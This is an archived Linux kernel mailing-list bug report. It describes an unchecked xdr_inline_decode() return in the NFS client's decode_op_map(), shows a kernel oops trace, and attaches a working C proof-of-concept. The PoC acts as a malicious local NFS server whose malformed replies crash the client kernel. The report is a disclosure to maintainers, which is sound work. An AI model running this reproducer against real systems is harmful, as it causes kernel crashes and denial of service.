All of lore.kernel.org
 help / color / mirror / Atom feed
* another NFS client RPC bug
@ 2021-11-04 21:10 rtm
  0 siblings, 0 replies; only message in thread
From: rtm @ 2021-11-04 21:10 UTC (permalink / raw)
  To: Trond Myklebust, Anna Schumaker; +Cc: linux-nfs

[-- Attachment #1: Type: text/plain, Size: 2957 bytes --]

In decode_op_map() in fs/nfs/nfs4xdr.c:

        uint32_t bitmap_words;
        ...;
        bitmap_words = be32_to_cpup(p++);
        if (bitmap_words > NFS4_OP_MAP_NUM_WORDS)
                return -EIO;
        ...;
        p = xdr_inline_decode(xdr, 4 * bitmap_words);
        for (i = 0; i < bitmap_words; i++)
                op_map->u.words[i] = be32_to_cpup(p++);

The return value from xdr_inline_decode() isn't checked, so there can be
a null-pointer dereference if there aren't enough bytes left in the RPC
message.

I've attached a program that produces the bug on my 5.15 machine:

# cc nfs_2.c
# ./a.out
mount:mount.nfs: timeout set for Thu Nov  4 21:10:28 2021
mount.nfs: trying text-based options 'vers=4.2,addr=127.0.0.1,clientaddr=127.0.0.1'
[   29.133142] random: fast init done
accept returned 4
proc 0
proc 1
[   19.298637] Unable to handle kernel access to user memory without uaccess routines at virtual address 0000000000000000
[   19.316686] Oops [#1]
[   19.322023] Modules linked in:
[   19.329310] CPU: 0 PID: 61 Comm: mount.nfs Not tainted 5.15.0-rc7-dirty #15
[   19.341196] Hardware name: ucbbar,riscvemu-bare (DT)
[   19.350236] epc : decode_op_map+0x78/0xba
[   19.357992]  ra : decode_op_map+0x62/0xba
[   19.365744] epc : ffffffff8022d93c ra : ffffffff8022d926 sp : ffffffd0005736e0
...
[   19.504650] status: 0000000200000121 badaddr: 0000000000000000 cause: 000000000000000d
[   19.518135] [<ffffffff8022d93c>] decode_op_map+0x78/0xba
[   19.528276] [<ffffffff80239db4>] nfs4_xdr_dec_exchange_id+0x1a6/0x57e
[   19.540304] [<ffffffff8071af74>] rpcauth_unwrap_resp_decode+0x12/0x1a
[   19.552386] [<ffffffff8071bc30>] rpcauth_unwrap_resp+0x12/0x1a
[   19.563960] [<ffffffff80711fcc>] call_decode+0x112/0x176
[   19.574123] [<ffffffff8071a4b0>] __rpc_execute+0x76/0x216
[   19.584286] [<ffffffff8071aace>] rpc_execute+0x58/0x7e
[   19.594443] [<ffffffff80713358>] rpc_run_task+0x12c/0x16c
[   19.604541] [<ffffffff80224eba>] nfs4_run_exchange_id+0x1d8/0x262
[   19.616149] [<ffffffff80224f68>] _nfs4_proc_exchange_id+0x24/0x2ba
[   19.627761] [<ffffffff8022cfc4>] nfs4_proc_exchange_id+0x30/0x50
[   19.639397] [<ffffffff8023ea3e>] nfs41_discover_server_trunking+0x1c/0xa8
[   19.651468] [<ffffffff80240d64>] nfs4_discover_server_trunking+0x7c/0x1e8
[   19.663549] [<ffffffff80249114>] nfs4_init_client+0x92/0xf6
[   19.673663] [<ffffffff80205412>] nfs_get_client+0x36a/0x394
[   19.683817] [<ffffffff80248844>] nfs4_set_client+0xd6/0x13e
[   19.693935] [<ffffffff80249830>] nfs4_create_server+0xb8/0x208
[   19.705529] [<ffffffff8024161c>] nfs4_try_get_tree+0x16/0x4c
[   19.717147] [<ffffffff80218bac>] nfs_get_tree+0x34a/0x3ac
[   19.727243] [<ffffffff8012bce4>] vfs_get_tree+0x18/0x88
[   19.737351] [<ffffffff8014a28e>] path_mount+0x4f4/0x77a
[   19.747521] [<ffffffff8014a560>] do_mount+0x4c/0x7e
[   19.757264] [<ffffffff8014a912>] sys_mount+0xca/0x14e
[   19.767418] [<ffffffff80003046>] ret_from_syscall+0x0/0x2


[-- Attachment #2: nfs_2.c --]
[-- Type: application/octet-stream, Size: 3006 bytes --]

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <sys/wait.h>
#include <sys/resource.h>

unsigned long long aaa[] = {
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0xc4ffffff00000000ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0xffffffffd5ffffffull,
0x0ull,
0x0ull,
0xfbfffffffeffffffull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
};
int iii = 0;

int readn(int fd, char *buf, int n) {
  int orig = n;
  while(n > 0){
    int cc = read(fd, buf, n);
    if(cc <= 0) { perror("read"); return -1; }
    n -= cc;
    buf += cc;
  }
  return orig;
}

int
main(){
  struct rlimit r;
  r.rlim_cur = r.rlim_max = 0;
  setrlimit(RLIMIT_CORE, &r);

  int s = socket(AF_INET, SOCK_STREAM, 0);
  struct sockaddr_in sin;
  memset(&sin, 0, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_port = htons(2049);
  if(bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0){
    perror("bind"); exit(1);
  }
  listen(s, 10);
  sync(); sleep(1); sleep(1); sleep(1);

  if(fork() == 0){
    if(system("echo -n mount: ; mount -v -t nfs 127.0.0.1:/tmp /mnt") == 0){
      system("echo -n ls: ; ls -l /mnt/. /mnt/z");
      system("echo -n echo: ; echo hi > /mnt/x");
      system("echo -n umount: ; umount /mnt");
    }
    exit(0);
  }

  if(fork() == 0){
#define NAA 64
    unsigned long long aa[NAA];
    for(int i = 0; i < NAA; i++) aa[i] = aaa[iii++];
    int ii = 0;

    socklen_t sinlen = sizeof(sin);
    int s1 = accept(s, (struct sockaddr *) &sin, &sinlen);
    printf("accept returned %d\n", s1);
    if(s1 < 0) { perror("accept"); exit(1); }
    close(s);
  
    while(1){
      unsigned int ilen;
      if(readn(s1, (char*)&ilen, 4) < 0) break;
      ilen = ntohl(ilen);
      ilen &= 0x7fffffff;
      char ibuf[1024];
      if(readn(s1, (char*)ibuf, ilen) < 0) break;
      int xid = *(int*)(ibuf+0);
      int proc = ntohl(*(int*)(ibuf+20));
      printf("proc %d\n", proc);
      
      char obuf[128];
      int olen = sizeof(obuf);
      int dummy = htonl(olen | 0x80000000);
      write(s1, &dummy, 4);
      memset(obuf, 0xff, sizeof(obuf));
      for(int i = 0; i+8 <= sizeof(obuf) && ii < NAA; i += 8)
        *(unsigned long long *)(obuf + i) ^= aa[ii++];
      *(int*)(obuf+0) = xid;
      *(int*)(obuf+4) = htonl(1); // REPLY
      *(int*)(obuf+8) = htonl(0); // MSG_ACCEPTED
      *(int*)(obuf+12) = htonl(0); // opaque_auth flavor = AUTH_NULL
      *(int*)(obuf+16) = htonl(0); // opaque_auth length
      *(int*)(obuf+20) = htonl(0); // SUCCESS
      if(write(s1, obuf, olen)<=0) perror("write");
    }
    exit(1);
  }
  close(s);
  sleep(7);
}

^ permalink raw reply	[flat|nested] only message in thread

only message in thread, other threads:[~2021-11-04 21:10 UTC | newest]

Thread overview: (only message) (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2021-11-04 21:10 another NFS client RPC bug rtm

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.